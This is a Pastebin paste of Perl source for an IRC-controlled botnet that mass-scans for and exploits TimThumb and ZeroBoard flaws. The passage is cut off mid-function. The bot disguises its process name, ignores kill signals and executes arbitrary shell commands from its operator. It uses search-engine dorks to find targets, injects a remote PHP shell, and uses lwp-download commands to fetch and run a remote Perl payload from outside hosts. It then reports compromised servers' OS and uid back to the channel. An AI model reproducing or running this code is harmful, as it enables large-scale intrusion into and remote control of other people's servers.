Advertisement
sirnon

.timthumb

Apr 22nd, 2012
2,457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.86 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use HTTP::Request;
  3. use HTTP::Request::Common;
  4. use HTTP::Request::Common qw(POST);
  5. use LWP::Simple;
  6. use LWP 5.64;
  7. use LWP::UserAgent;
  8. use Socket;
  9. use IO::Socket;
  10. use IO::Socket::INET;
  11. use IO::Select;
  12. use MIME::Base64;
  13.  
  14. my $datetime = localtime;
  15.  
  16. my $fakeproc = "/usr/sbin/httpd";
  17. my $ircserver = "irc.byroe.net";
  18. my $ircport = "6667";
  19. my $nickname = "[iDF]";
  20. my $ident = "iDF";
  21. my $channel = "#non";
  22. my $admin = "Egypt-Hacker";
  23. my $fullname = "(8i3D7F5-6T2e11am12.)";
  24. my $thumblogo = "4,1(8@9TimThumb4)";
  25. my $zerologo = "4,1(8@9ZeroBoard4)";
  26. my $thumbcmd = '.timthumb';
  27. my $zerocmd = '.zero';
  28. my $thumbshell = "http://blogger.com.crappyfiles.com/image.php";
  29. my $folder1 = "/cache/4f8c5ba89e4fcd425410bda1c707852c.php";
  30. my $folder2 = "/cache/external_4f8c5ba89e4fcd425410bda1c707852c.php";
  31. my $folder3 = "/temp/4f8c5ba89e4fcd425410bda1c707852c.php";
  32. my $folder4 = "/temp/external_4f8c5ba89e4fcd425410bda1c707852c.php";
  33. my $folder5 = "/wp-content/uploads/thumb-temp/4f8c5ba89e4fcd425410bda1c707852c.php";
  34. my $botid = "http://flickr.com.bpmohio.com/spread.php";
  35. my $botrun1 = "/cache/18d105776283fe8d2ab6beb89a37e45e.php";
  36. my $botrun2 = "/cache/external_18d105776283fe8d2ab6beb89a37e45e.php";
  37. my $botrun3 = "/temp/18d105776283fe8d2ab6beb89a37e45e.php";
  38. my $botrun4 = "/temp/external_18d105776283fe8d2ab6beb89a37e45e.php";
  39. my $botrun5 = "/wp-content/uploads/thumb-temp/18d105776283fe8d2ab6beb89a37e45e.php";
  40. my $action = "/data/shell.php?cmd=lwp-download%20http://blogger.com.ossha.co.il/image.php;lwp-download%20http://flickr.com.guxer.300il.com/l.txt;perl%
  41. 20l.txt";
  42. my $action2 = "?cmd=lwp-download%20http://blogger.com.crappyfiles.com/image.php;lwp-download%20-a%20http://guxer.300il.com/l.txt;perl%20l.txt;rm%20l.txt";
  43. my @bypasser = ("http://www.alexoloughlin.es/google.php",
  44. "http://estanciadevalencia.com/sn/google.php",
  45. "http://www.hotelprince.com/google.php");
  46. my $bypass = $bypasser[rand(scalar(@bypasser))];
  47.  
  48. my @uagents = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12',
  49. 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4',
  50. 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6',
  51. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1');
  52. my $uagent = $uagents[rand(scalar(@uagents))];
  53. $SIG{'INT'} = 'IGNORE';
  54. $SIG{'HUP'} = 'IGNORE';
  55. $SIG{'TERM'} = 'IGNORE';
  56. $SIG{'CHLD'} = 'IGNORE';
  57. $SIG{'PS'} = 'IGNORE';
  58.  
  59. $ircserver = "$ARGV[0]" if $ARGV[0];
  60. $0 = "$fakeproc"."\0" x 16;
  61. my $pid = fork;
  62. exit if $pid;
  63. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  64.  
  65. our %irc_servers;
  66. our %DCC;
  67. my $dcc_sel = new IO::Select->new();
  68. $sel_client = IO::Select->new();
  69. sub sendraw {
  70. if ($#_ == '1') {
  71. my $socket = $_[0];
  72. print $socket "$_[1]\n";
  73. } else {
  74. print $IRC_cur_socket "$_[0]\n";
  75. }
  76. }
  77. sub connector {
  78. my $mynick = $_[0];
  79. my $ircserver_con = $_[1];
  80. my $ircport_con = $_[2];
  81. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  82. if (defined($IRC_socket)) {
  83. $IRC_cur_socket = $IRC_socket;
  84. $IRC_socket->autoflush(1);
  85. $sel_client->add($IRC_socket);
  86. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  87. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  88. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  89. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  90. nick("$mynick");
  91. my $versi = "0,1(8i3D7F5-6T2e11am12.)";
  92. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  93. sleep (1);}}
  94. sub parse {
  95. my $servarg = shift;
  96. if ($servarg =~ /^PING \:(.*)/) {
  97. sendraw("PONG :$1");
  98. }
  99. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  100. if (lc($1) eq lc($mynick)) {
  101. $mynick = $4;
  102. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  103. }
  104. }
  105. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  106. nick("$mynick".int rand(1));
  107. }
  108. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  109. $mynick = $2;
  110. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  111. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  112. sendraw("MODE $mynick +Bxp");
  113. sendraw("JOIN $channel");
  114. sleep(2);
  115. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  116. }
  117. }
  118. my $line_temp;
  119. while( 1 ) {
  120. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  121. select(undef, undef, undef, 0.01);
  122. delete($irc_servers{''}) if (defined($irc_servers{''}));
  123. my @ready = $sel_client->can_read(0);
  124. next unless(@ready);
  125. foreach $fh (@ready) {
  126. $IRC_cur_socket = $fh;
  127. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  128. $nread = sysread($fh, $ircmsg, 4096);
  129. if ($nread == 0) {
  130. $sel_client->remove($fh);
  131. $fh->close;
  132. delete($irc_servers{$fh});
  133. }
  134. @lines = split (/\n/, $ircmsg);
  135. $ircmsg =~ s/\r\n$//;
  136.  
  137. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  138. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  139. my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ByPass,YahOo,BigLobe";
  140. if ($path eq $mynick) {
  141. if ($msg =~ /^PING (.*)/) {
  142. sendraw("NOTICE $nick :PING $1");
  143. }
  144. if ($msg =~ /^VERSION/) {
  145. sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  146. }
  147. if ($msg =~ /^TIME/) {
  148. sendraw("NOTICE $nick :TIME ".$datetime."");
  149. }
  150. if (&isAdmin($nick) && $msg eq "!die") {
  151. &shell("$path","kill -9 $$");
  152. }
  153. if (&isAdmin($nick) && $msg eq "!killall") {
  154. &shell("$path","killall -9 perl");
  155. }
  156. if (&isAdmin($nick) && $msg eq "!reset") {
  157. sendraw("QUIT :Restarting...");
  158. }
  159. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  160. sendraw("JOIN #".$1);
  161. }
  162. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  163. sendraw("PART #".$1);
  164. }
  165. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  166. sendraw("NICK ".$1);
  167. }
  168. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  169. sendraw($IRC_cur_socket, "PRIVMSG $nick :0,1Fake Process/PID : $fakeproc - $$");
  170. }
  171. if (&isAdmin($nick) && $msg !~ /^!/) {
  172. &shell("$nick","$msg");
  173. }
  174. }
  175. else {
  176. if (&isAdmin($nick) && $msg eq "!die") {
  177. &shell("$path","kill -9 $$");
  178. }
  179. if (&isAdmin($nick) && $msg eq "!killall") {
  180. &shell("$path","killall -9 perl");
  181. }
  182. if (&isAdmin($nick) && $msg eq "!reset") {
  183. sendraw("QUIT :Restarting...");
  184. }
  185. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  186. sendraw("JOIN #".$1);
  187. }
  188. if (&isAdmin($nick) && $msg eq "!part") {
  189. sendraw("PART $path");
  190. }
  191. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  192. sendraw("PART #".$1);
  193. }
  194. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  195. &shell("$path","$1");
  196. }
  197. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  198. &shell("$path","$1");
  199. }
  200.  
  201. ##################################################################### HELP COMMAND
  202.  
  203. if ($msg=~ /^!help/) {
  204. my $helplogo = "4(8@9Help4)";
  205. &msg("$path","4$helplogo 8 ###################################################");
  206. &msg("$path","4$helplogo 8 #9 $thumbcmd [bug] [dork] 9#");
  207. &msg("$path","4$helplogo 8 #9 $zerocmd [bug] [dork] 9#");
  208. &msg("$path","4$helplogo 8 ###################################################");
  209. }
  210. if ($msg=~ /^!engine/) {
  211. my $enginelogo = "4(8@9Engine4)";
  212. &msg("$path","4$enginelogo 8 $engine ");
  213. }
  214. if ($msg=~ /^!about/) {
  215. my $aboutlogo = "15(4@4iDF-Team15)";
  216. &msg("$path","0,1$aboutlogo 14 TIMTHUMB / ZEROBOARD SCANNER");
  217. }
  218. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  219. if (&isFound($thumbshell,"GIF89a")) {
  220. &msg("$path","0,1(8Injector15)6 PHP Shell 9READY!!!");
  221. } else {
  222. &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!");
  223. }
  224. }
  225. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  226. &notice("$nick","0,1Fake Process/PID : 8$fakeproc - $$");
  227. }
  228. ##################################################################### RFI SCAN
  229.  
  230. if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  231. if (my $pid = fork) {
  232. waitpid($pid, 0);
  233. }
  234. else {
  235. if (fork) { exit; } else {
  236. my ($bug,$dork) = ($1,$2);
  237. &msg("$path","0,1$thumblogo 12Dork :4 $dork");
  238. &msg("$path","0,1$thumblogo 12Bugz :4 $bug");
  239. &msg("$path","0,1$thumblogo 6Search Engine Loading ...");
  240. &scan_start($path,$bug,$dork,$engine,2);
  241. }
  242. exit;
  243. }
  244. }
  245.  
  246. if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
  247. if (my $pid = fork) {
  248. waitpid($pid, 0);
  249. }
  250. else {
  251. if (fork) { exit; } else {
  252. my ($bug,$dork) = ($1,$2);
  253. &msg("$path","0,1$zerologo 12Dork :4 $dork");
  254. &msg("$path","0,1$zerologo 12Bugz :4 $bug");
  255. &msg("$path","0,1$zerologo 6Search Engine Loading ...");
  256. &scan_start($path,$bug,$dork,$engine,1);
  257. }
  258. exit;
  259. }
  260. }
  261.  
  262. #####################################################################
  263.  
  264. }
  265. }
  266.  
  267. for(my $c=0; $c<= $#lines; $c++) {
  268. $line = $lines[$c];
  269. $line = $line_temp.$line if ($line_temp);
  270. $line_temp = '';
  271. $line =~ s/\r$//;
  272. unless ($c == $#lines) {
  273. &parse("$line");
  274. } else {
  275. if ($#lines == 0) {
  276. &parse("$line");
  277. } elsif ($lines[$c] =~ /\r$/) {
  278. &parse("$line");
  279. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  280. &parse("$line");
  281. } else {
  282. $line_temp = $line;
  283. }
  284. }
  285. }
  286. }
  287. }
  288.  
  289. #########################################
  290. sub type () {
  291. my ($chan,$bug,$dork,$engine,$type) = @_;
  292. if ($type == 2){$type=&thumb($chan,$bug,$dork,$engine);}
  293. elsif ($type == 1){$type=&zero($chan,$bug,$dork,$engine);}
  294. }
  295. sub scan_start() {
  296. my ($chan,$bug,$dork,$engine,$type) = @_;
  297. if ($engine =~ /google/i) {
  298. if (my $pid = fork) { waitpid($pid, 0); }
  299. else { if (fork) { exit; } else {
  300. &type($chan,$bug,$dork,"GooGLe",$type);
  301. } exit; }
  302. }
  303.  
  304. if ($engine =~ /google2/i) {
  305. if ($pid = fork) { waitpid($pid, 0); }
  306. else { if (fork) { exit; } else {
  307. &type($chan,$bug,$dork,"GooGle2",$type);
  308. } exit; }
  309. }
  310.  
  311. if ($engine =~ /bing/i) {
  312. if ($pid = fork) { waitpid($pid, 0); }
  313. else { if (fork) { exit; } else {
  314. &type($chan,$bug,$dork,"Bing",$type);
  315. } exit; }
  316. }
  317.  
  318. if ($engine =~ /altavista/i) {
  319. if ($pid = fork) { waitpid($pid, 0); }
  320. else { if (fork) { exit; } else {
  321. &type($chan,$bug,$dork,"ALtaViSTa",$type);
  322. } exit; }
  323. }
  324.  
  325. if ($engine =~ /ask/i) {
  326. if ($pid = fork) { waitpid($pid, 0); }
  327. else { if (fork) { exit; } else {
  328. &type($chan,$bug,$dork,"AsK",$type);
  329. } exit; }
  330. }
  331. if ($engine =~ /uol/i) {
  332. if ($pid = fork) { waitpid($pid, 0); }
  333. else { if (fork) { exit; } else {
  334. &type($chan,$bug,$dork,"UoL",$type);
  335. } exit; }
  336. }
  337.  
  338. if ($engine =~ /yahoo/i) {
  339. if ($pid = fork) { waitpid($pid, 0); }
  340. else { if (fork) { exit; } else {
  341. &type($chan,$bug,$dork,"YahOo",$type);
  342. } exit; }
  343. }
  344.  
  345. if ($engine =~ /clusty/i) {
  346. if ($pid = fork) { waitpid($pid, 0); }
  347. else { if (fork) { exit; } else {
  348. &type($chan,$bug,$dork,"CluSty",$type);
  349. } exit; }
  350. }
  351.  
  352. if ($engine =~ /gutser/i) {
  353. if ($pid = fork) { waitpid($pid, 0); }
  354. else { if (fork) { exit; } else {
  355. &type($chan,$bug,$dork,"GutSer",$type);
  356. } exit; }
  357. }
  358.  
  359. if ($engine =~ /rediff/i) {
  360. if ($pid = fork) { waitpid($pid, 0); }
  361. else { if (fork) { exit; } else {
  362. &type($chan,$bug,$dork,"ReDiff",$type);
  363. } exit; }
  364. }
  365. if ($engine =~ /virgilio/i) {
  366. if ($pid = fork) { waitpid($pid, 0); }
  367. else { if (fork) { exit; } else {
  368. &type($chan,$bug,$dork,"VirgiLio",$type);
  369. } exit; }
  370. }
  371.  
  372. if ($engine =~ /webde/i) {
  373. if ($pid = fork) { waitpid($pid, 0); }
  374. else { if (fork) { exit; } else {
  375. &type($chan,$bug,$dork,"WebDe",$type);
  376. } exit; }
  377. }
  378.  
  379. if ($engine =~ /exalead/i) {
  380. if ($pid = fork) { waitpid($pid, 0); }
  381. else { if (fork) { exit; } else {
  382. &type($chan,$bug,$dork,"ExaLead",$type);
  383. } exit; }
  384. }
  385.  
  386. if ($engine =~ /lycos/i) {
  387. if ($pid = fork) { waitpid($pid, 0); }
  388. else { if (fork) { exit; } else {
  389. &type($chan,$bug,$dork,"LyCos",$type);
  390. } exit; }
  391. }
  392.  
  393. if ($engine =~ /hotbot/i) {
  394. if ($pid = fork) { waitpid($pid, 0); }
  395. else { if (fork) { exit; } else {
  396. &type($chan,$bug,$dork,"HotBot",$type);
  397. } exit; }
  398. }
  399. if ($engine =~ /aol/i) {
  400. if ($pid = fork) { waitpid($pid, 0); }
  401. else { if (fork) { exit; } else {
  402. &type($chan,$bug,$dork,"AoL",$type);
  403. } exit; }
  404. }
  405.  
  406. if ($engine =~ /sapo/i) {
  407. if ($pid = fork) { waitpid($pid, 0); }
  408. else { if (fork) { exit; } else {
  409. &type($chan,$bug,$dork,"SaPo",$type);
  410. } exit; }
  411. }
  412.  
  413. if ($engine =~ /duck/i) {
  414. if ($pid = fork) { waitpid($pid, 0); }
  415. else { if (fork) { exit; } else {
  416. &type($chan,$bug,$dork,"DuCk",$type);
  417. } exit; }
  418. }
  419.  
  420. if ($engine =~ /lygo/i) {
  421. if ($pid = fork) { waitpid($pid, 0); }
  422. else { if (fork) { exit; } else {
  423. &type($chan,$bug,$dork,"LyGo",$type);
  424. } exit; }
  425. }
  426.  
  427. if ($engine =~ /yause/i) {
  428. if ($pid = fork) { waitpid($pid, 0); }
  429. else { if (fork) { exit; } else {
  430. &type($chan,$bug,$dork,"YauSe",$type);
  431. } exit; }
  432. }
  433. if ($engine =~ /baidu/i) {
  434. if ($pid = fork) { waitpid($pid, 0); }
  435. else { if (fork) { exit; } else {
  436. &type($chan,$bug,$dork,"BaiDu",$type);
  437. } exit; }
  438. }
  439.  
  440. if ($engine =~ /kipot/i) {
  441. if ($pid = fork) { waitpid($pid, 0); }
  442. else { if (fork) { exit; } else {
  443. &type($chan,$bug,$dork,"KiPoT",$type);
  444. } exit; }
  445. }
  446.  
  447. if ($engine =~ /gibla/i) {
  448. if ($pid = fork) { waitpid($pid, 0); }
  449. else { if (fork) { exit; } else {
  450. &type($chan,$bug,$dork,"GiBLa",$type);
  451. } exit; }
  452. }
  453.  
  454. if ($engine =~ /black/i) {
  455. if ($pid = fork) { waitpid($pid, 0); }
  456. else { if (fork) { exit; } else {
  457. &type($chan,$bug,$dork,"BLacK",$type);
  458. } exit; }
  459. }
  460.  
  461. if ($engine =~ /onet/i) {
  462. if ($pid = fork) { waitpid($pid, 0); }
  463. else { if (fork) { exit; } else {
  464. &type($chan,$bug,$dork,"oNeT",$type);
  465. } exit; }
  466. }
  467.  
  468. if ($engine =~ /sizuka/i) {
  469. if ($pid = fork) { waitpid($pid, 0); }
  470. else { if (fork) { exit; } else {
  471. &type($chan,$bug,$dork,"SiZuka",$type);
  472. } exit; }
  473. }
  474.  
  475. if ($engine =~ /walla/i) {
  476. if ($pid = fork) { waitpid($pid, 0); }
  477. else { if (fork) { exit; } else {
  478. &type($chan,$bug,$dork,"WaLLa",$type);
  479. } exit; }
  480. }
  481.  
  482. if ($engine =~ /demos/i) {
  483. if ($pid = fork) { waitpid($pid, 0); }
  484. else { if (fork) { exit; } else {
  485. &type($chan,$bug,$dork,"DeMos",$type);
  486. } exit; }
  487. }
  488.  
  489. if ($engine =~ /rose/i) {
  490. if ($pid = fork) { waitpid($pid, 0); }
  491. else { if (fork) { exit; } else {
  492. &type($chan,$bug,$dork,"RoSe",$type);
  493. } exit; }
  494. }
  495.  
  496. if ($engine =~ /seznam/i) {
  497. if ($pid = fork) { waitpid($pid, 0); }
  498. else { if (fork) { exit; } else {
  499. &type($chan,$bug,$dork,"SeZnaM",$type);
  500. } exit; }
  501. }
  502.  
  503. if ($engine =~ /tiscali/i) {
  504. if ($pid = fork) { waitpid($pid, 0); }
  505. else { if (fork) { exit; } else {
  506. &type($chan,$bug,$dork,"TisCali",$type);
  507. } exit; }
  508. }
  509.  
  510. if ($engine =~ /naver/i) {
  511. if ($pid = fork) { waitpid($pid, 0); }
  512. else { if (fork) { exit; } else {
  513. &type($chan,$bug,$dork,"NaVeR",$type);
  514. } exit; }
  515. }
  516. if ($engine =~ /bypass/i) {
  517. if ($pid = fork) { waitpid($pid, 0); }
  518. else { if (fork) { exit; } else {
  519. &type($chan,$bug,$dork,"ByPass",$type);
  520. } exit; }
  521. }
  522. }
  523.  
  524. #########################################
  525. sub thumb() {
  526. my $chan = $_[0];
  527. my $bug = $_[1];
  528. my $dork = $_[2];
  529. my $engine = $_[3];
  530. my $count = 0;
  531. my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  532. my $num = scalar(@list);
  533. if ($num > 0) {
  534. foreach my $site (@list) {
  535. $count++;
  536. if ($count == $num-1) { &msg("$chan","$thumblogo4,1(4,1@8,1$engine4,1)2,1 Scan finish"); }
  537. my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  538. my $cek = &get_content($vuln);sleep(1);
  539. if ($cek =~ /Unable to open image/i) {
  540. &msg("$chan","$thumblogo(@8,1$engine4,1)8,1e3,1x7,1p5,1l6,1o2,1i11,1t4,1i0,1n12,1g8,1 http://$site");
  541. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  542. &thumb_xpl($vuln,$chan,$site,$bug,$engine);
  543. exit;}
  544. }
  545. }
  546. }
  547. }
  548. }
  549.  
  550. sub thumb_xpl() {
  551. my $url = $_[0];
  552. my $chan = $_[1];
  553. my $site = $_[2];
  554. my $bug = $_[3];
  555. my $engine = $_[4];
  556. (my $bery = $bug)=~ s{/[^/]+\z}{};
  557. my $vuln2 = "http://".$site.$bery.$folder1;
  558. my $vuln3 = "http://".$site.$bery.$folder2;
  559. my $vuln4 = "http://".$site.$bery.$folder3;
  560. my $vuln5 = "http://".$site.$bery.$folder4;
  561. my $vuln6 = "http://".$site.$folder5;
  562. my $check1 = &get_content($vuln2);sleep(1);
  563. my $check2 = &get_content($vuln3);sleep(1);
  564. my $check3 = &get_content($vuln4);sleep(1);
  565. my $check4 = &get_content($vuln5);sleep(1);
  566. my $check5 = &get_content($vuln6);sleep(1);
  567. my $os = "";
  568. my $free = "";
  569. my $uid = "";
  570. if ($check1 =~ /linkirc - jambihackerlink/i) {
  571. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  572. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  573. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  574. &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  575. &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  576. }
  577. if ($check2 =~ /linkirc - jambihackerlink/i) {
  578. if ($check2 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  579. if ($check2 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  580. if ($check2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  581. &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (OS=$os) (total=$free) (uid=$uid");
  582. &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  583. }
  584. if ($check3 =~ /linkirc - jambihackerlink/i) {
  585. if ($check3 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  586. if ($check3 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  587. if ($check3 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  588. &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (OS=$os) (total=$free) (uid=$uid");
  589. &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  590. }
  591. if ($check4 =~ /linkirc - jambihackerlink/i) {
  592. if ($check4 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  593. if ($check4 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  594. if ($check4 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  595. &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (OS=$os) (total=$free) (uid=$uid");
  596. &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  597. }
  598. if ($check5 =~ /linkirc - jambihackerlink/i) {
  599. if ($check5 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  600. if ($check5 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  601. if ($check5 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  602. &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (OS=$os) (total=$free) (uid=$uid");
  603. &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
  604. }
  605. }
  606.  
  607. sub zero() {
  608. my $chan = $_[0];
  609. my $bug = $_[1];
  610. my $dork = $_[2];
  611. my $engine = $_[3];
  612. my $count = 0;
  613. my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
  614. my $num = scalar(@list);
  615. if ($num > 0) {
  616. foreach my $site (@list) {
  617. $count++;
  618. if ($count == $num-1) { &msg("$chan","$zerologo(4,1@8,1$engine15,1)10 Scan finish"); }
  619. my $coba = "http://".$site.$bug."?id=byroe";
  620. my $cek = &get_content($coba);sleep(1);
  621. if ($cek =~ /Zeroboard/) {
  622. my $cok = system("./zero $coba 80");
  623. my $check2 = &get_content("http://".$site.$action);
  624. if ($check2 =~ /Cannot execute a blank command/) {
  625. my $vuln = &get_content("http://".$site.$action.$action2);
  626. my $vuln1 = "http://".$site."/data/byroe_cpf.php";
  627. my $check = &get_content($vuln1);
  628. if ($check =~ /linkirc - jambihackerlink/i) {
  629. if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  630. if ($check =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  631. if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  632. &msg("$chan","$zerologo(4,1@8,1$engine15,1)15,1(4,1@3,1shell15,1)13,1 ".$vuln1." 3,1 (OS=$os) (total=$free) (uid=$uid");
  633. }
  634. }
  635. }
  636. }
  637. }
  638. }
  639. #########################################
  640.  
  641. sub search_engine() {
  642. my (@total,@clean);
  643. my $chan = $_[0];
  644. my $bug = $_[1];
  645. my $dork = $_[2];
  646. my $engine = $_[3];
  647. my $logo = $_[4];
  648. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  649. if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  650. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  651. if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  652. if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  653. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  654. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  655. if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  656. if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  657. if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  658. if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  659. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  660. if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  661. if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  662. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  663. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  664. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  665. if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  666. if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  667. if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  668. if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  669. if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  670. if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  671. if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  672. if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  673. if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  674. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  675. if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
  676. if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  677. if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  678. if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  679. if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  680. if ($engine eq "ByPass") { my @bypass = &bypass($dork); push(@total,@bypass); }
  681. @clean = &clean(@total);
  682. &msg("$chan","0,1$logo(4@8$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  683. return @clean;
  684. }
  685.  
  686. #########################################
  687.  
  688. sub isFound() {
  689. my $status = 0;
  690. my $link = $_[0];
  691. my $reqexp = $_[1];
  692. my $res = &get_content($link);
  693. if ($res =~ /$reqexp/) { $status = 1 }
  694. return $status;
